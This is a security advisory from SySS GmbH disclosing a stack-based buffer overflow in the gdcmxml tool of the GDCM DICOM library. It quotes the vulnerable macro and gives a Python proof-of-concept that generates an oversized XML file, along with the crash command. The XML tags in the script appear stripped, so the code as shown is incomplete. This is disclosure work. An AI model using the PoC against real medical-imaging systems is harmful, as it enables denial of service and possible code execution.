-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Advisory ID: SYSS-2026-067 Product: GDCM (Grassroots DICOM) Manufacturer: GDCM Project Affected Version(s): 3.3.0 Tested Version(s): 3.3.0 Vulnerability Type: Stack-based Buffer Overflow (CWE-121) Risk Level: High Solution Status: Open Manufacturer Notification: 2026-07-24 Public Disclosure: 2026-09-23 CVE Reference: Not yet assigned Author of Advisory: Matthias Deeg, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: GDCM (Grassroots DICOM) is an open-source C++ library for reading, writing, and processing DICOM (Digital Imaging and Communications in Medicine) medical imaging files (see [1]). GDCM's command-line tool gdcmxml, which converts between XML and DICOM file formats, is vulnerable to a stack-based buffer overflow in the LoadValueInteger macro. An attacker who can control the XML input supplied to the gdcmxml command-line application can cause an unbounded stack buffer overflow, potentially leading to a process crash or arbitrary code execution in the context of the user running the application. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The gdcmxml application (Applications/Cxx/gdcmxml.cxx) contains a series of macros for loading DICOM attribute values from XML, including LoadValueInteger (line 344), LoadValueFloat (line 374), and LoadValueDouble (line 403). The LoadValueInteger macro declares a fixed-size stack array and populates it using sscanf() without any bounds checking on the element count: #define LoadValueInteger(type) \ case type: \ { \ int count = 0; \ int values[10]; \ Element el; \ while(strcmp(name,"Value") == 0) \ { \ READ_NEXT \ char *value_char = (char*)xmlTextReaderConstValue(reader); \ int nvalue = sscanf(value_char, "%d", &(values[count++])); \ gdcm_assert( nvalue == 1 ); (void)nvalue; \ READ_NEXT /*Value ending tag*/ \ name = (const char*)xmlTextReaderConstName(reader); \ READ_NEXT \ name = (const char*)xmlTextReaderConstName(reader); \ } \ el.SetLength( (count) * vr.GetSizeof() ); \ int total = 0; \ while(total < count) \ { \ el.SetValue( (VRToType::Type)(values[total]), total); \ total++; \ } \ de = el.GetAsDataElement(); \ }break The variable 'count' is incremented in the loop via the post-increment operator in the sscanf call (values[count++]) but is never checked against the array size (10). Any XML input with more than 10 elements for a VR handled by LoadValueInteger (IS, SS, UL, SL, US) overflows the int values[10] array. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): For demonstrating the sscanf() overflow vulnerability in LoadValueInteger, a simple PoC non-control-data exploit was developed that crashes the application. For this, a malicious XML file with 360 "Value" elements is used. The sscanf() overflow corrupts a pointer at values[304] on the stack, which is loaded and dereferenced causing a segmentation fault. The following Python script creates the malicious XML file: cat > sscanf_overflow_poc.py << 'PYEOF' import sys num_values = 360 output = "sscanf_overflow_poc.xml" xml = b'\n' xml += b'\n' xml += b'\n' for i in range(1, num_values + 1): xml += b'' + str(i).encode() + b'\n' xml += b'\n' xml += b'' with open(output, 'wb') as f: f.write(xml) overflow_elements = num_values - 10 PYEOF Using this crafted XML file as input file crashes gdcmxml with a segmentation fault: $ gdcmxml -i sscanf_overflow_poc.xml -o out.dcm [1] 78018 segmentation fault (core dumped) gdcmxml -i sscanf_overflow_poc.xml -o out.dcm ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: SySS GmbH is not aware of a security update for the described issue. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2026-07-24: Vulnerability reported to manufacturer 2026-07-31: Vulnerability reported to manufacturer again 2026-09-23: Public release of security advisory ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] GDCM project website https://gdcm.sourceforge.net/ [2] SySS Security Advisory SYSS-2026-067 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2026-067.txt [3] SySS GmbH, SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Matthias Deeg of SySS GmbH with the assistance of SySS AI. E-Mail: matthias.deeg (at) syss.de Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Matthias_Deeg.asc Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 4.0 URL: https://creativecommons.org/licenses/by/4.0/deed.en -----BEGIN PGP SIGNATURE----- iQIzBAEBCgAdFiEE0fCgNfBs5nXNuQUU2aS/ajStTasFAmqzozUACgkQ2aS/ajSt TauMABAAkUMZTG8RJl17CUg58edTiKUUxMq+zp6xbeDTqS1vKswtSJ3VZKms9dFz uEBLyVku0GyStTnXzrRPuBpZ9wLcwZL+op4GuRKQoMjsudAHlLni4YFSVFY6EVF5 GTU4J3il7vfjsg8P5tQjNIHlukAUWDRrV4GnhFqnWauHnT4HJE8UDs6A6ZssvQri 0bM6uqSdwm2mn1Xb7Sp9+5vXLsHFG4X6StqWlIIQxyLzQgWDb6TRraDO7x26zQm4 Y1PwyzkinI1Cj08l1UjM3IPn7qFg0t7NvHQjIcrMoobIqY5KFPJFGYon17qkDwdf dCs5mtEy5jrIlcRQAtR8G5KHhW9/C71pjEjYXfqr4vTzGH1YZzbW4vFX20WHf0wI hGzwezHXWMEaevkzqyxDvtyhH0YSp1VdUbUUwGMYiNw9BNqfugscYiamfI8F8dPl PSs/0SArKxUeJeINx0/0qqKbi+uz5CUrJ5FmDInwnuVxSGcmcGxWNjHj2Ssd8ojC TPYVEdl3LC+A49U4calN9Sxv6RLldF10ioUa7jidmo7qmVeWp8vv81fMugtKFNWg s30E4BWKt5D7PR/s/6v/LDNAkaFB3MYxB5MAJ790yKvIsTtgaN08USaH2EP4sLd0 3NHif5p0X5kIccAWlTi48my2CoE2U7JPT88l5D8LaWcT/eer/RQ= =wnrS -----END PGP SIGNATURE-----